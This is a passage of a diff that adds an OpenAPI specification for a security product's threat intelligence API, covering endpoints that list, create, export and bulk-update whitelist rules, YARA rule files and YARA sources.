+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VulnerabilityScanResultByAgentListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      summary: Get the count of vulnerabilities for each agent
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/WhitelistRule/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_retroactivity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: target
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: provided_by_hlab
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_disabled_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: usage_count_last_7_days
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: sigma_rule_name
+          required: false
+          type: string
+        - in: query
+          name: correlation_rule_name
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: criteria.field
+          required: false
+          type: string
+        - in: query
+          name: criteria.operator
+          required: false
+          type: string
+        - in: query
+          name: criteria.case_insensitive
+          required: false
+          type: boolean
+        - in: query
+          name: criteria.value
+          required: false
+          type: string
+        - in: query
+          name: last_disabled_by.id
+          required: false
+          type: number
+        - in: query
+          name: last_disabled_by.username
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/GetWhitelistRule'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateWhitelistRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetWhitelistRule'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/WhitelistRule/apply_retroactively/dry_run/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_apply_retroactively_apply_retroactively
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateTemporaryWhitelistRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DryRunResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/WhitelistRule/delete/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_delete_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/WhitelistMassDelete'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/WhitelistRule/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_retroactivity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: target
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: provided_by_hlab
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_disabled_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: usage_count_last_7_days
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/WhitelistRule/fields/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_fields
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: target
+          required: false
+          type: string
+        - in: query
+          name: alert_subtype
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_GetWhitelistRuleFieldsResponse'
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/WhitelistRule/summary/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_summary
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_retroactivity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: target
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: provided_by_hlab
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_disabled_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: usage_count_last_7_days
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - default: false
+          in: query
+          name: include_hlab
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WhitelistRuleSummary'
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/WhitelistRule/unapply_retroactively/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_unapply_retroactively
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/QueryUnapplyRetroactively'
+      responses:
+        "200":
+          description: ""
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/WhitelistRule/update/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_update_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/WhitelistMassToggle'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/WhitelistRule/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetWhitelistRule'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditWhitelistRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EditWhitelistRule'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ReplaceWhitelistRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ReplaceWhitelistRule'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/WhitelistRule/{id}/history/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_WhitelistRule_history
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_retroactivity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_modifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: target
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sigma_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: correlation_rule_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: provided_by_hlab
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_disabled_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: usage_count_last_7_days
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_WhitelistHistoryListing'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/YaraFile/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: content
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_names
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: rule_os
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+        - in: query
+          name: rule_classifications
+          required: false
+          type: string
+        - in: query
+          name: rule_tactic_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_technique_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_score
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_YaraPagination'
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_CreateYaraFile'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateRuleResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraFile/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_YaraFile_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/YaraFile/list_ruleset/{ruleset_id}/:
+    get:
+      description: List files with ruleset rule data.
+      operationId: data_threat_intelligence_YaraFile_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: content
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_names
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: rule_os
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+        - in: query
+          name: rule_classifications
+          required: false
+          type: string
+        - in: query
+          name: rule_tactic_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_technique_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_score
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_YaraRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/YaraFile/update/:
+    parameters: []
+    post:
+      description: Update fields for multiple rules at once
+      operationId: data_threat_intelligence_YaraFile_update_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_RuleBulkUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraFile/update_rules/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      deprecated: true
+      description: Deprecated call maintained for retrocompatability.
+      operationId: data_threat_intelligence_YaraFile_update_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_YARARulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraFile/update_ruleset/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_update_ruleset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_YARARulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraFile/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraFile'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this yara file.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/YaraFile'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraFile'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_YaraFile_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/YaraFile'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraFile'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraSource/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/YaraSource'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/YaraSource'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraSource/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_YaraSource_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/YaraSource/list_ruleset/{ruleset_id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
